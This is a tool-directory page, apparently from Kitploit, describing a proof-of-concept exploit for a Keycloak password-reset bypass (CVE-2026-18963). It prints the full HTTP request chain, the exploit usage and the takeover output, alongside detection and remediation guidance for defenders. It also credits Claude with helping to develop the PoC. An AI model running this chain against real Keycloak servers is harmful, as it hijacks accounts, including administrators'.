Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
漏洞分析漏洞利用Web应用程序漏洞利用Web安全身份验证学习与教育
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

针对 CVE-2026-18963 的概念验证漏洞利用,这是一个严重的 Keycloak 重置凭据绕过漏洞,可实现未认证的账户接管。包含实验环境搭建、检测指南以及供授权测试使用的修复步骤。

查看仓库
318小时20分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-18963 — Keycloak 重置凭据绕过 → 账户接管

未认证账户接管存在于 Keycloak 的重置凭据(reset-credentials)流程中。 仅知道用户名/邮箱的攻击者即可重置任意用户的密码 —— 包括管理员 —— 而完全无需收到验证邮件。

CVE CVSS CWE License


⚠️ 免责声明 —— 仅供道德使用

本概念验证发布严格用于教育目的、防御性研究、检测工程以及经授权的安全测试。

  • 仅对您拥有或已获得明确书面授权的系统使用。未经许可访问或修改系统是非法且不道德的。
  • 这是一个防御性/教育性资源,旨在帮助团队理解、检测并修复 CVE-2026-18963 —— 而非用于攻击第三方。
  • 作者(red-darkin)对本代码造成的任何滥用、损害或非法活动不承担任何责任。您需自行承担使用方式及遵守所有适用法律的责任。
  • 下载或使用本仓库即表示您接受这些条款。如不同意,请勿使用。

完整声明请参阅 DISCLAIMER.md。


摘要

CVECVE-2026-18963
严重性严重 —— CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
弱点CWE-640 —— 弱密码恢复机制
受影响版本Keycloak < 26.7.2(上游)。RH 构建流亦受影响,已通过 26.6.6 / 26.4.15 程序包修复
修复版本Keycloak 26.7.2(PR #51844)
前提条件Forgot password(重置凭据)已在 realm 中启用 —— 默认开启
影响任意用户(包括 realm 管理员)的完全账户接管 → IdP 失陷 + SSO 横向访问

工作原理 —— 两个缺陷链式利用

密码重置(reset-credentials)流程通常强制您在设置新密码前点击发送至账户所有者的邮件链接。两个缺陷使攻击者可以完全跳过这一检查:

  1. 作用域未限定的"Try Another Way"状态 —— 认证器选择器处理器会将备注 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" 存储为未限定到执行 ID 作用域。重新进入流程会使认证会话处于混乱/过期状态。
  2. 邮件步骤缺少令牌校验 —— ResetCredentialEmail.action() 调用 context.success() 时未校验 ACTION_TOKEN_USER_ID(即未确认邮件中的操作令牌确实已被消费)。

将两者链式利用可使认证会话直接推进到任意用户的 UPDATE_PASSWORD 步骤,无需任何邮件。

root@kitploit:~
GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

带注释的补丁差异请参阅 docs/ROOTCAUSE.md。


快速开始(实验环境)

您需要 Docker 以及安装了 requests 的 Python 3。

root@kitploit:~
# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

预期输出末尾:

root@kitploit:~
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

然后以 victim / Pwned-2026! 登录以确认接管成功。

阴性对照(已修复版本)

root@kitploit:~
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

使用方法

root@kitploit:~
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

每个 HTTP 响应都会写入 ./dump/ 目录以供检查。


通过 Burp 代理

Keycloak 已使用 8080 端口,因此请将 Burp 的监听器指向另一端口(例如 8081):

root@kitploit:~
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

适用于 Burp Repeater 的原始请求链见 requests/burp-chain.txt。


检测

查找在同一认证会话中未经过邮件验证的密码更改:

  • 某会话中出现了 UPDATE_PASSWORD 事件,但没有相应的 VERIFY_EMAIL / EXECUTE_ACTION_TOKEN 前置事件。
  • 携带 tryAnotherWay=on 的 reset-credentials 请求突发出现。
  • 同一 tab_id 多次重新进入 login-actions/reset-credentials。

修复建议

  • 升级到 Keycloak 26.7.2(或已修复的 RH 构建流)—— 最高优先级。
  • 临时缓解措施:Realm 设置 → 登录 → 忘记密码 = 关闭。
  • 补丁部署后:轮换管理员凭据、强制重置后重新登录,并对上述检测信号发出告警。

参考资料

  • NVD —— https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • 修复 PR #51844 —— https://github.com/keycloak/keycloak/pull/51844
  • Issue #51833 —— https://github.com/keycloak/keycloak/issues/51833
  • Red Hat —— https://access.redhat.com/security/cve/cve-2026-18963

演示

完整运行过程已录制在 CVE-2026-18963.mp4(位于仓库根目录)。

致谢

  • red-darkin —— 实验环境复现、PoC 与文章撰写。
  • Claude (Anthropic) —— 研究与 PoC 开发协助。

攻击链已对照公开的 Keycloak 补丁(PR #51844)及社区文章进行交叉验证。

许可证

MIT © red-darkin —— 仅供教育和授权测试使用。

下载工具